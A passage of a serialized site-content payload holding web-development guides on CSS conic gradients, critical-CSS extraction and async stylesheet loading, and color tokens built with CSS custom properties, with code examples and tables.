blending.",[44,53532,53533,1856,53535,53537],{},[143,53534,8168],{},[143,53536,52885],{}," keywords let you control starting angle and center position.",[44,53539,53540,53542],{},[143,53541,53396],{}," tiles the pattern for ray and starburst effects.",[44,53544,53545,53546,1459,53548,53550],{},"Always use angle units (",[143,53547,1694],{},[143,53549,53511],{},") for color stops, not percentages.",[44,53552,53553,53554,53556],{},"Pair with ",[143,53555,52966],{}," for circular visuals like pie charts and spinners.",[11,53558,286],{"id":285},[16,53560,53561,53562,468],{},"Experiment with conic gradient angles, color stops, and center positions in real time using the ",[98,53563,18583],{"href":18582},[2043,53565,53566],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":53568},[53569,53570,53573,53574,53575,53576,53579,53580,53581],{"id":52783,"depth":337,"text":52784},{"id":52803,"depth":337,"text":52804,"children":53571},[53572],{"id":52912,"depth":343,"text":52913},{"id":52959,"depth":337,"text":52960},{"id":53191,"depth":337,"text":53192},{"id":53249,"depth":337,"text":53250},{"id":53390,"depth":337,"text":53391,"children":53577},[53578],{"id":53433,"depth":343,"text":53434},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Create pie charts, color wheels, and spinner effects using CSS conic-gradient syntax.",{"immutable":363},"\u002Fguides\u002Fcss-conic-gradient-guide",{"title":52778,"description":53582},"guides\u002Fcss-conic-gradient-guide","ErMyVD0qGx-aW8dD60V-HWTs9QLTK9Mg0Secg5I_5SY",{"id":53589,"title":53590,"body":53591,"date":2070,"description":54325,"extension":361,"meta":54326,"navigation":363,"path":21362,"readingTime":1717,"seo":54327,"stem":54328,"__hash__":54329},"guides\u002Fguides\u002Fcss-critical-path-optimization.md","CSS Critical Path Optimization: Render-Blocking CSS Fix",{"type":8,"value":53592,"toc":54305},[53593,53595,53598,53604,53608,53611,53617,53620,53626,53629,53633,53637,53640,53643,53647,53658,53719,53722,53788,53792,53797,53932,53935,53939,53942,53946,54038,54055,54059,54109,54118,54122,54128,54132,54135,54138,54142,54145,54203,54206,54208,54242,54244,54277,54279,54294,54296,54302],[11,53594,40953],{"id":40952},[16,53596,53597],{},"When a browser loads a page, it must parse all referenced CSS before it can render anything to the screen. CSS is render-blocking by default. If your stylesheet is 200 KB, the browser downloads and parses all 200 KB before showing a single pixel — even though only 5 KB of those styles apply to the content visible in the initial viewport.",[16,53599,53600,53601,53603],{},"Critical CSS (also called \"above-the-fold CSS\") is the subset of styles needed to render the visible portion of the page on first load. By inlining this small subset in the HTML ",[143,53602,13169],{}," and deferred-loading the rest, you eliminate the render-blocking bottleneck.",[11,53605,53607],{"id":53606},"the-rendering-waterfall","The Rendering Waterfall",[16,53609,53610],{},"Without optimization:",[135,53612,53615],{"className":53613,"code":53614,"language":140},[138],"HTML download → CSS download → CSS parse → First Paint → Content visible\n              ←_______________ render-blocking _______________→\n",[143,53616,53614],{"__ignoreMap":141},[16,53618,53619],{},"With critical CSS:",[135,53621,53624],{"className":53622,"code":53623,"language":140},[138],"HTML download (includes inline CSS) → CSS parse → First Paint → Content visible\n                                                 ↓\n                                    Full stylesheet downloads (async)\n",[143,53625,53623],{"__ignoreMap":141},[16,53627,53628],{},"The first paint happens much sooner because the browser doesn't wait for the full stylesheet.",[11,53630,53632],{"id":53631},"step-1-identify-critical-css","Step 1: Identify Critical CSS",[33,53634,53636],{"id":53635},"manual-identification","Manual Identification",[16,53638,53639],{},"Open Chrome DevTools, navigate to your page with a slow network throttling profile (Fast 3G), and note which elements are visible before any scrolling. The styles for these elements constitute your critical CSS.",[16,53641,53642],{},"Drawbacks: labor-intensive and error-prone — you'll miss styles triggered by hover, focus, or media queries.",[33,53644,53646],{"id":53645},"automated-extraction","Automated Extraction",[16,53648,35185,53649,1459,53652,1466,53655,53657],{},[143,53650,53651],{},"critical",[143,53653,53654],{},"Critters",[143,53656,41346],{}," automate extraction:",[135,53659,53661],{"className":6951,"code":53660,"language":6953,"meta":141,"style":141},"# Using critical (Node.js)\nnpx critical https:\u002F\u002Fexample.com --inline --base .\u002Fdist --target index.html\n\n# Using Penthouse\nnpx penthouse https:\u002F\u002Fexample.com styles.css > critical.css\n",[143,53662,53663,53668,53693,53697,53702],{"__ignoreMap":141},[1560,53664,53665],{"class":1562,"line":1563},[1560,53666,53667],{"class":1649},"# Using critical (Node.js)\n",[1560,53669,53670,53672,53675,53678,53681,53684,53687,53690],{"class":1562,"line":337},[1560,53671,11016],{"class":1566},[1560,53673,53674],{"class":5634}," critical",[1560,53676,53677],{"class":5634}," https:\u002F\u002Fexample.com",[1560,53679,53680],{"class":1576}," --inline",[1560,53682,53683],{"class":1576}," --base",[1560,53685,53686],{"class":5634}," .\u002Fdist",[1560,53688,53689],{"class":1576}," --target",[1560,53691,53692],{"class":5634}," index.html\n",[1560,53694,53695],{"class":1562,"line":343},[1560,53696,1702],{"emptyLinePlaceholder":363},[1560,53698,53699],{"class":1562,"line":365},[1560,53700,53701],{"class":1649},"# Using Penthouse\n",[1560,53703,53704,53706,53709,53711,53714,53716],{"class":1562,"line":889},[1560,53705,11016],{"class":1566},[1560,53707,53708],{"class":5634}," penthouse",[1560,53710,53677],{"class":5634},[1560,53712,53713],{"class":5634}," styles.css",[1560,53715,32916],{"class":1669},[1560,53717,53718],{"class":5634}," critical.css\n",[16,53720,53721],{},"For build-tool integration:",[193,53723,53724,53735],{},[196,53725,53726],{},[199,53727,53728,53730,53733],{},[202,53729,751],{},[202,53731,53732],{},"Integration",[202,53734,31483],{},[211,53736,53737,53752,53764,53776],{},[199,53738,53739,53743,53749],{},[216,53740,53741],{},[143,53742,53654],{},[216,53744,53745,53746,1525],{},"Webpack (via ",[143,53747,53748],{},"critters-webpack-plugin",[216,53750,53751],{},"Inlines critical CSS during build",[199,53753,53754,53759,53761],{},[216,53755,53756],{},[143,53757,53758],{},"vite-plugin-critical",[216,53760,9643],{},[216,53762,53763],{},"Extracts and inlines critical CSS for each page",[199,53765,53766,53771,53773],{},[216,53767,53768],{},[143,53769,53770],{},"@nuxtjs\u002Fcritters",[216,53772,9617],{},[216,53774,53775],{},"Built-in SSG critical CSS extraction",[199,53777,53778,53782,53785],{},[216,53779,53780],{},[143,53781,53651],{},[216,53783,53784],{},"Standalone CLI",[216,53786,53787],{},"Generates critical CSS for any URL",[11,53789,53791],{"id":53790},"step-2-inline-critical-css","Step 2: Inline Critical CSS",[16,53793,53794,53795,8037],{},"Add the extracted critical CSS directly in the HTML ",[143,53796,13169],{},[135,53798,53800],{"className":6417,"code":53799,"language":6419,"meta":141,"style":141},"\u003Chead>\n  \u003Cstyle>\n    \u002F* Critical CSS — styles needed for initial viewport *\u002F\n    body { margin: 0; font-family: system-ui, sans-serif; }\n    .hero { min-height: 100vh; background: #1E293B; color: white; }\n    .nav { position: sticky; top: 0; padding: 1rem; }\n  \u003C\u002Fstyle>\n\u003C\u002Fhead>\n",[143,53801,53802,53810,53818,53823,53849,53882,53916,53924],{"__ignoreMap":141},[1560,53803,53804,53806,53808],{"class":1562,"line":1563},[1560,53805,6431],{"class":1570},[1560,53807,40984],{"class":2484},[1560,53809,6441],{"class":1570},[1560,53811,53812,53814,53816],{"class":1562,"line":337},[1560,53813,11223],{"class":1570},[1560,53815,2043],{"class":2484},[1560,53817,6441],{"class":1570},[1560,53819,53820],{"class":1562,"line":343},[1560,53821,53822],{"class":1649},"    \u002F* Critical CSS — styles needed for initial viewport *\u002F\n",[1560,53824,53825,53827,53829,53831,53833,53835,53837,53839,53841,53843,53845,53847],{"class":1562,"line":365},[1560,53826,41088],{"class":2484},[1560,53828,1658],{"class":1570},[1560,53830,1876],{"class":1576},[1560,53832,1663],{"class":1570},[1560,53834,5285],{"class":1576},[1560,53836,3664],{"class":1570},[1560,53838,41093],{"class":1576},[1560,53840,1663],{"class":1570},[1560,53842,41098],{"class":1576},[1560,53844,1459],{"class":1570},[1560,53846,41103],{"class":1576},[1560,53848,1673],{"class":1570},[1560,53850,53851,53853,53855,53858,53860,53862,53864,53866,53868,53870,53872,53874,53876,53878,53880],{"class":1562,"line":889},[1560,53852,41118],{"class":1566},[1560,53854,1658],{"class":1570},[1560,53856,53857],{"class":1576},"min-height",[1560,53859,1663],{"class":1570},[1560,53861,18114],{"class":1576},[1560,53863,32705],{"class":1669},[1560,53865,3664],{"class":1570},[1560,53867,11362],{"class":1576},[1560,53869,1663],{"class":1570},[1560,53871,2315],{"class":1576},[1560,53873,3664],{"class":1570},[1560,53875,12607],{"class":1576},[1560,53877,1663],{"class":1570},[1560,53879,2565],{"class":1576},[1560,53881,1673],{"class":1570},[1560,53883,53884,53886,53888,53891,53893,53896,53898,53900,53902,53904,53906,53908,53910,53912,53914],{"class":1562,"line":1710},[1560,53885,41157],{"class":1566},[1560,53887,1658],{"class":1570},[1560,53889,53890],{"class":1576},"position",[1560,53892,1663],{"class":1570},[1560,53894,53895],{"class":1576},"sticky",[1560,53897,3664],{"class":1570},[1560,53899,45287],{"class":1576},[1560,53901,1663],{"class":1570},[1560,53903,5285],{"class":1576},[1560,53905,3664],{"class":1570},[1560,53907,41140],{"class":1576},[1560,53909,1663],{"class":1570},[1560,53911,3585],{"class":1576},[1560,53913,32215],{"class":1669},[1560,53915,1673],{"class":1570},[1560,53917,53918,53920,53922],{"class":1562,"line":1717},[1560,53919,12331],{"class":1570},[1560,53921,2043],{"class":2484},[1560,53923,6441],{"class":1570},[1560,53925,53926,53928,53930],{"class":1562,"line":1747},[1560,53927,11242],{"class":1570},[1560,53929,40984],{"class":2484},[1560,53931,6441],{"class":1570},[16,53933,53934],{},"The browser parses inline styles immediately — no external request needed.",[11,53936,53938],{"id":53937},"step-3-load-remaining-css-asynchronously","Step 3: Load Remaining CSS Asynchronously",[16,53940,53941],{},"The full stylesheet must still load, but it shouldn't block rendering. Use one of these patterns:",[33,53943,53945],{"id":53944},"pattern-1-media-attribute-switch","Pattern 1: media Attribute Switch",[135,53947,53949],{"className":6417,"code":53948,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"stylesheet\" href=\"\u002Fassets\u002Fcss\u002Fmain.css\"\n      media=\"print\" onload=\"this.media='all'\">\n\u003Cnoscript>\n  \u003Clink rel=\"stylesheet\" href=\"\u002Fassets\u002Fcss\u002Fmain.css\">\n\u003C\u002Fnoscript>\n",[143,53950,53951,53970,54001,54009,54030],{"__ignoreMap":141},[1560,53952,53953,53955,53957,53959,53961,53963,53965,53967],{"class":1562,"line":1563},[1560,53954,6431],{"class":1570},[1560,53956,40993],{"class":2484},[1560,53958,40996],{"class":1566},[1560,53960,7297],{"class":1570},[1560,53962,41001],{"class":5634},[1560,53964,41004],{"class":1566},[1560,53966,7297],{"class":1570},[1560,53968,53969],{"class":5634},"\"\u002Fassets\u002Fcss\u002Fmain.css\"\n",[1560,53971,53972,53975,53977,53980,53983,53985,53987,53989,53991,53994,53996,53999],{"class":1562,"line":337},[1560,53973,53974],{"class":1566},"      media",[1560,53976,7297],{"class":1570},[1560,53978,53979],{"class":5634},"\"print\"",[1560,53981,53982],{"class":1566}," onload",[1560,53984,7297],{"class":1570},[1560,53986,8721],{"class":5634},[1560,53988,41235],{"class":1576},[1560,53990,468],{"class":5634},[1560,53992,53993],{"class":1570},"media",[1560,53995,7297],{"class":1669},[1560,53997,53998],{"class":5634},"'all'\"",[1560,54000,6441],{"class":1570},[1560,54002,54003,54005,54007],{"class":1562,"line":343},[1560,54004,6431],{"class":1570},[1560,54006,41254],{"class":2484},[1560,54008,6441],{"class":1570},[1560,54010,54011,54013,54015,54017,54019,54021,54023,54025,54028],{"class":1562,"line":365},[1560,54012,11223],{"class":1570},[1560,54014,40993],{"class":2484},[1560,54016,40996],{"class":1566},[1560,54018,7297],{"class":1570},[1560,54020,41001],{"class":5634},[1560,54022,41004],{"class":1566},[1560,54024,7297],{"class":1570},[1560,54026,54027],{"class":5634},"\"\u002Fassets\u002Fcss\u002Fmain.css\"",[1560,54029,6441],{"class":1570},[1560,54031,54032,54034,54036],{"class":1562,"line":889},[1560,54033,11242],{"class":1570},[1560,54035,41254],{"class":2484},[1560,54037,6441],{"class":1570},[16,54039,54040,54041,54044,54045,54048,54049,5255,54051,54054],{},"The browser treats ",[143,54042,54043],{},"media=\"print\""," as non-matching and loads the stylesheet asynchronously. Once loaded, the ",[143,54046,54047],{},"onload"," handler switches ",[143,54050,53993],{},[143,54052,54053],{},"all",", applying the styles.",[33,54056,54058],{"id":54057},"pattern-2-relpreload","Pattern 2: rel=\"preload\"",[135,54060,54062],{"className":6417,"code":54061,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"preload\" href=\"\u002Fassets\u002Fcss\u002Fmain.css\" as=\"style\"\n      onload=\"this.rel='stylesheet'\">\n",[143,54063,54064,54088],{"__ignoreMap":141},[1560,54065,54066,54068,54070,54072,54074,54076,54078,54080,54082,54084,54086],{"class":1562,"line":1563},[1560,54067,6431],{"class":1570},[1560,54069,40993],{"class":2484},[1560,54071,40996],{"class":1566},[1560,54073,7297],{"class":1570},[1560,54075,41209],{"class":5634},[1560,54077,41004],{"class":1566},[1560,54079,7297],{"class":1570},[1560,54081,54027],{"class":5634},[1560,54083,41218],{"class":1566},[1560,54085,7297],{"class":1570},[1560,54087,41223],{"class":5634},[1560,54089,54090,54093,54095,54097,54099,54101,54103,54105,54107],{"class":1562,"line":337},[1560,54091,54092],{"class":1566},"      onload",[1560,54094,7297],{"class":1570},[1560,54096,8721],{"class":5634},[1560,54098,41235],{"class":1576},[1560,54100,468],{"class":5634},[1560,54102,41240],{"class":1570},[1560,54104,7297],{"class":1669},[1560,54106,41245],{"class":5634},[1560,54108,6441],{"class":1570},[16,54110,54111,54112,5255,54114,54117],{},"Preload fetches the CSS with high priority without blocking rendering. Once downloaded, JavaScript switches ",[143,54113,41240],{},[143,54115,54116],{},"stylesheet"," to apply it.",[33,54119,54121],{"id":54120},"pattern-3-build-tool-handled","Pattern 3: Build-Tool Handled",[16,54123,54124,54125,54127],{},"Frameworks like Nuxt handle this automatically. With ",[143,54126,53770],{},", you configure the module and SSG output includes inlined critical CSS per page with async stylesheet loading.",[11,54129,54131],{"id":54130},"step-4-avoid-fouc","Step 4: Avoid FOUC",[16,54133,54134],{},"Flash of Unstyled Content (FOUC) happens when the browser renders HTML before CSS finishes loading. Critical CSS eliminates FOUC for above-the-fold content because those styles are already inline.",[16,54136,54137],{},"Below-the-fold content may briefly appear unstyled until the full stylesheet loads. This is acceptable — users haven't scrolled there yet. If specific components must not flash, include their styles in the critical CSS as well.",[11,54139,54141],{"id":54140},"measuring-impact","Measuring Impact",[16,54143,54144],{},"Use Lighthouse or WebPageTest to measure before and after:",[193,54146,54147,54159],{},[196,54148,54149],{},[199,54150,54151,54153,54156],{},[202,54152,15609],{},[202,54154,54155],{},"What It Measures",[202,54157,54158],{},"Critical CSS Impact",[211,54160,54161,54171,54181,54192],{},[199,54162,54163,54165,54168],{},[216,54164,41514],{},[216,54166,54167],{},"First Contentful Paint",[216,54169,54170],{},"Significant improvement",[199,54172,54173,54176,54178],{},[216,54174,54175],{},"LCP",[216,54177,41535],{},[216,54179,54180],{},"Moderate improvement",[199,54182,54183,54186,54189],{},[216,54184,54185],{},"TTI",[216,54187,54188],{},"Time to Interactive",[216,54190,54191],{},"Minor improvement",[199,54193,54194,54197,54200],{},[216,54195,54196],{},"CLS",[216,54198,54199],{},"Cumulative Layout Shift",[216,54201,54202],{},"Neutral (layout stays consistent)",[16,54204,54205],{},"A typical critical CSS optimization reduces FCP by 20–40% on pages with large stylesheets.",[11,54207,2341],{"id":2340},[41,54209,54210,54216,54226,54232],{},[44,54211,54212,54215],{},[47,54213,54214],{},"Inlining too much CSS"," — If your inline styles exceed 15–20 KB, you've included non-critical styles. Excessive inline CSS slows down HTML parsing.",[44,54217,54218,54225],{},[47,54219,54220,54221,54224],{},"Forgetting ",[143,54222,54223],{},"\u003Cnoscript>"," fallback"," — Without it, JavaScript-disabled users never get the full stylesheet.",[44,54227,54228,54231],{},[47,54229,54230],{},"Not testing different viewports"," — Critical CSS differs between mobile and desktop. Some tools extract per-viewport; make sure you cover your breakpoints.",[44,54233,54234,54237,54238,54241],{},[47,54235,54236],{},"Missing font-face declarations"," — If critical content uses web fonts, their ",[143,54239,54240],{},"@font-face"," rules belong in critical CSS. Otherwise, the browser waits for the full stylesheet before discovering and downloading font files.",[11,54243,1355],{"id":1354},[41,54245,54246,54249,54252,54262,54271,54274],{},[44,54247,54248],{},"Critical CSS is the minimum styles needed to render above-the-fold content",[44,54250,54251],{},"Inlining critical CSS eliminates the render-blocking bottleneck for initial paint",[44,54253,54254,54255,1459,54257,1459,54259,54261],{},"Use automated tools (",[143,54256,53651],{},[143,54258,53654],{},[143,54260,41346],{},") to extract — manual identification misses edge cases",[44,54263,54264,54265,54267,54268,54270],{},"Load the full stylesheet asynchronously using ",[143,54266,54043],{}," switch or ",[143,54269,41584],{}," pattern",[44,54272,54273],{},"Keep inline critical CSS under 15–20 KB to avoid slowing HTML parsing",[44,54275,54276],{},"Measure impact with Lighthouse FCP scores before and after optimization",[11,54278,321],{"id":320},[41,54280,54281,54285,54289],{},[44,54282,54283],{},[98,54284,21351],{"href":21350},[44,54286,54287],{},[98,54288,21357],{"href":21356},[44,54290,54291],{},[98,54292,54293],{"href":21395},"Build Tool CSS Minification Compared",[11,54295,286],{"id":285},[16,54297,54298,54299,54301],{},"Minify your CSS and reduce stylesheet size with our free ",[98,54300,21372],{"href":21371},". Paste your CSS, get optimized output instantly — a key step before critical CSS extraction.",[2043,54303,54304],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":54306},[54307,54308,54309,54313,54314,54319,54320,54321,54322,54323,54324],{"id":40952,"depth":337,"text":40953},{"id":53606,"depth":337,"text":53607},{"id":53631,"depth":337,"text":53632,"children":54310},[54311,54312],{"id":53635,"depth":343,"text":53636},{"id":53645,"depth":343,"text":53646},{"id":53790,"depth":337,"text":53791},{"id":53937,"depth":337,"text":53938,"children":54315},[54316,54317,54318],{"id":53944,"depth":343,"text":53945},{"id":54057,"depth":343,"text":54058},{"id":54120,"depth":343,"text":54121},{"id":54130,"depth":337,"text":54131},{"id":54140,"depth":337,"text":54141},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to identify and optimize critical CSS — eliminate render-blocking stylesheets and speed up first contentful paint.",{"immutable":363},{"title":53590,"description":54325},"guides\u002Fcss-critical-path-optimization","EF_IdSnWWuoOHgnuN6biHUOTuh4zQSbFtE9mvyAT3M8",{"id":54331,"title":54332,"body":54333,"date":2070,"description":55296,"extension":361,"meta":55297,"navigation":363,"path":40396,"readingTime":1717,"seo":55298,"stem":55299,"__hash__":55300},"guides\u002Fguides\u002Fcss-custom-properties-color-values.md","CSS Custom Properties for Color Values: Design Tokens in Practice",{"type":8,"value":54334,"toc":55286},[54335,54338,54342,54350,54433,54439,54443,54446,54749,54755,54759,54762,54871,54885,54892,54947,54954,54958,54961,55054,55057,55128,55134,55184,55188,55191,55231,55234,55236,55258,55260,55275,55277,55283],[16,54336,54337],{},"CSS custom properties (also called CSS variables) give you a way to define reusable values that update dynamically across your entire stylesheet. For color management, they are the foundation of design token systems, dark mode support, and consistent theming — all without a preprocessor.",[11,54339,54341],{"id":54340},"why-custom-properties-for-colors","Why Custom Properties for Colors",[16,54343,54344,54345,5255,54347,54349],{},"Hard-coded color values scattered through a stylesheet create maintenance problems. When your brand blue changes from ",[143,54346,2260],{},[143,54348,3488],{},", you must find and replace every instance. With custom properties, you change one definition:",[135,54351,54353],{"className":1554,"code":54352,"language":1556,"meta":141,"style":141},":root {\n  --color-primary: #3B82F6;\n}\n\n.button {\n  background-color: var(--color-primary);\n}\n\n.heading {\n  color: var(--color-primary);\n}\n",[143,54354,54355,54361,54371,54375,54379,54385,54400,54404,54408,54415,54429],{"__ignoreMap":141},[1560,54356,54357,54359],{"class":1562,"line":1563},[1560,54358,2207],{"class":1566},[1560,54360,1571],{"class":1570},[1560,54362,54363,54365,54367,54369],{"class":1562,"line":337},[1560,54364,5815],{"class":2219},[1560,54366,1663],{"class":1570},[1560,54368,2260],{"class":1576},[1560,54370,2228],{"class":1570},[1560,54372,54373],{"class":1562,"line":343},[1560,54374,1585],{"class":1570},[1560,54376,54377],{"class":1562,"line":365},[1560,54378,1702],{"emptyLinePlaceholder":363},[1560,54380,54381,54383],{"class":1562,"line":889},[1560,54382,5741],{"class":1566},[1560,54384,1571],{"class":1570},[1560,54386,54387,54389,54391,54393,54395,54398],{"class":1562,"line":1710},[1560,54388,2492],{"class":1576},[1560,54390,1663],{"class":1570},[1560,54392,2497],{"class":1576},[1560,54394,1688],{"class":1570},[1560,54396,54397],{"class":2219},"--color-primary",[1560,54399,1744],{"class":1570},[1560,54401,54402],{"class":1562,"line":1717},[1560,54403,1585],{"class":1570},[1560,54405,54406],{"class":1562,"line":1747},[1560,54407,1702],{"emptyLinePlaceholder":363},[1560,54409,54410,54413],{"class":1562,"line":2507},[1560,54411,54412],{"class":1566},".heading",[1560,54414,1571],{"class":1570},[1560,54416,54417,54419,54421,54423,54425,54427],{"class":1562,"line":2524},[1560,54418,2510],{"class":1576},[1560,54420,1663],{"class":1570},[1560,54422,2497],{"class":1576},[1560,54424,1688],{"class":1570},[1560,54426,54397],{"class":2219},[1560,54428,1744],{"class":1570},[1560,54430,54431],{"class":1562,"line":2529},[1560,54432,1585],{"class":1570},[16,54434,54435,54436,54438],{},"Update ",[143,54437,54397],{}," once, and every element using it updates automatically. This is particularly powerful for dark mode — you redefine the variables under a different selector rather than overriding individual properties.",[11,54440,54442],{"id":54441},"setting-up-a-color-token-system","Setting Up a Color Token System",[16,54444,54445],{},"A well-structured color token system has three layers: primitive tokens, semantic tokens, and component tokens.",[135,54447,54449],{"className":1554,"code":54448,"language":1556,"meta":141,"style":141},"\u002F* Layer 1: Primitive tokens — raw color values *\u002F\n:root {\n  --blue-500: #3B82F6;\n  --blue-600: #2563EB;\n  --blue-700: #1D4ED8;\n  --gray-100: #F3F4F6;\n  --gray-900: #111827;\n  --red-500: #EF4444;\n  --green-500: #22C55E;\n}\n\n\u002F* Layer 2: Semantic tokens — meaning-based aliases *\u002F\n:root {\n  --color-primary: var(--blue-500);\n  --color-primary-hover: var(--blue-600);\n  --color-bg: var(--gray-100);\n  --color-text: var(--gray-900);\n  --color-danger: var(--red-500);\n  --color-success: var(--green-500);\n}\n\n\u002F* Layer 3: Component tokens — specific to UI elements *\u002F\n:root {\n  --button-bg: var(--color-primary);\n  --button-text: white;\n  --card-bg: white;\n  --card-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);\n}\n",[143,54450,54451,54456,54462,54472,54482,54494,54506,54517,54529,54541,54545,54549,54554,54560,54575,54590,54605,54621,54637,54652,54656,54660,54665,54671,54686,54697,54708,54745],{"__ignoreMap":141},[1560,54452,54453],{"class":1562,"line":1563},[1560,54454,54455],{"class":1649},"\u002F* Layer 1: Primitive tokens — raw color values *\u002F\n",[1560,54457,54458,54460],{"class":1562,"line":337},[1560,54459,2207],{"class":1566},[1560,54461,1571],{"class":1570},[1560,54463,54464,54466,54468,54470],{"class":1562,"line":343},[1560,54465,4142],{"class":2219},[1560,54467,1663],{"class":1570},[1560,54469,2260],{"class":1576},[1560,54471,2228],{"class":1570},[1560,54473,54474,54476,54478,54480],{"class":1562,"line":365},[1560,54475,4157],{"class":2219},[1560,54477,1663],{"class":1570},[1560,54479,3488],{"class":1576},[1560,54481,2228],{"class":1570},[1560,54483,54484,54487,54489,54492],{"class":1562,"line":889},[1560,54485,54486],{"class":2219},"  --blue-700",[1560,54488,1663],{"class":1570},[1560,54490,54491],{"class":1576},"#1D4ED8",[1560,54493,2228],{"class":1570},[1560,54495,54496,54499,54501,54504],{"class":1562,"line":1710},[1560,54497,54498],{"class":2219},"  --gray-100",[1560,54500,1663],{"class":1570},[1560,54502,54503],{"class":1576},"#F3F4F6",[1560,54505,2228],{"class":1570},[1560,54507,54508,54511,54513,54515],{"class":1562,"line":1717},[1560,54509,54510],{"class":2219},"  --gray-900",[1560,54512,1663],{"class":1570},[1560,54514,4049],{"class":1576},[1560,54516,2228],{"class":1570},[1560,54518,54519,54522,54524,54527],{"class":1562,"line":1747},[1560,54520,54521],{"class":2219},"  --red-500",[1560,54523,1663],{"class":1570},[1560,54525,54526],{"class":1576},"#EF4444",[1560,54528,2228],{"class":1570},[1560,54530,54531,54534,54536,54539],{"class":1562,"line":2507},[1560,54532,54533],{"class":2219},"  --green-500",[1560,54535,1663],{"class":1570},[1560,54537,54538],{"class":1576},"#22C55E",[1560,54540,2228],{"class":1570},[1560,54542,54543],{"class":1562,"line":2524},[1560,54544,1585],{"class":1570},[1560,54546,54547],{"class":1562,"line":2529},[1560,54548,1702],{"emptyLinePlaceholder":363},[1560,54550,54551],{"class":1562,"line":2534},[1560,54552,54553],{"class":1649},"\u002F* Layer 2: Semantic tokens — meaning-based aliases *\u002F\n",[1560,54555,54556,54558],{"class":1562,"line":2542},[1560,54557,2207],{"class":1566},[1560,54559,1571],{"class":1570},[1560,54561,54562,54564,54566,54568,54570,54573],{"class":1562,"line":2558},[1560,54563,5815],{"class":2219},[1560,54565,1663],{"class":1570},[1560,54567,2497],{"class":1576},[1560,54569,1688],{"class":1570},[1560,54571,54572],{"class":2219},"--blue-500",[1560,54574,1744],{"class":1570},[1560,54576,54577,54579,54581,54583,54585,54588],{"class":1562,"line":2570},[1560,54578,5841],{"class":2219},[1560,54580,1663],{"class":1570},[1560,54582,2497],{"class":1576},[1560,54584,1688],{"class":1570},[1560,54586,54587],{"class":2219},"--blue-600",[1560,54589,1744],{"class":1570},[1560,54591,54592,54594,54596,54598,54600,54603],{"class":1562,"line":6638},[1560,54593,2220],{"class":2219},[1560,54595,1663],{"class":1570},[1560,54597,2497],{"class":1576},[1560,54599,1688],{"class":1570},[1560,54601,54602],{"class":2219},"--gray-100",[1560,54604,1744],{"class":1570},[1560,54606,54607,54610,54612,54614,54616,54619],{"class":1562,"line":11615},[1560,54608,54609],{"class":2219},"  --color-text",[1560,54611,1663],{"class":1570},[1560,54613,2497],{"class":1576},[1560,54615,1688],{"class":1570},[1560,54617,54618],{"class":2219},"--gray-900",[1560,54620,1744],{"class":1570},[1560,54622,54623,54626,54628,54630,54632,54635],{"class":1562,"line":11621},[1560,54624,54625],{"class":2219},"  